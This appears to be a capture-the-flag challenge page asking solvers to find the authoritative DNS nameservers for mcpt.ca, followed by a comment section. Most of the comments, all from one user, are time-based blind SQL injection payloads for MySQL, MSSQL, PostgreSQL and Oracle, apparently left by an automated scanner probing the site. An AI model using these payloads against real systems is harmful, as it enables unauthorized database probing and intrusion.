Connections

Before your browser can establish a connection to a website, it needs to communicate with DNS nameservers to resolve the domain name to an IP address.

Your challenge: Find which DNS nameservers are responsible for the domain mcpt.ca.

  1. Using DNS lookup tools, identify the authoritative nameservers for mcpt.ca
  2. Once you've found the nameservers, locate the primary nameserver's hostname
  3. Submit the primary nameserver's hostname in the standard flag format: CTF{nameserver_hostname}

For example, if you discover that ns1.example.com is the primary nameserver for the domain, you would submit: CTF{ns1.example.com}

Hint: Common DNS query tools like dig, nslookup, or online DNS lookup services can help you find this information.

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    tsSLAueP commented 2 weeks, 3 days ago
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    tsSLAueP commented 2 weeks, 3 days ago
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
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    tsSLAueP commented 2 weeks, 3 days ago
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
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    tsSLAueP commented 2 weeks, 3 days ago
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1; waitfor delay '0:0:15' --
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    tsSLAueP commented 2 weeks, 3 days ago
    1-1); waitfor delay '0:0:15' --
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    tsSLAueP commented 2 weeks, 3 days ago
    1-1 waitfor delay '0:0:15' --
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    tsSLAueP commented 2 weeks, 3 days ago
    18N3F2jrB'; waitfor delay '0:0:15' --
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    tsSLAueP commented 2 weeks, 3 days ago
    1-1 OR 842=(SELECT 842 FROM PG_SLEEP(15))--
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    tsSLAueP commented 2 weeks, 3 days ago
    1-1) OR 74=(SELECT 74 FROM PG_SLEEP(15))--
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    tsSLAueP commented 2 weeks, 3 days ago
    1-1)) OR 687=(SELECT 687 FROM PG_SLEEP(15))--
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  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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    tsSLAueP commented 2 weeks, 3 days ago
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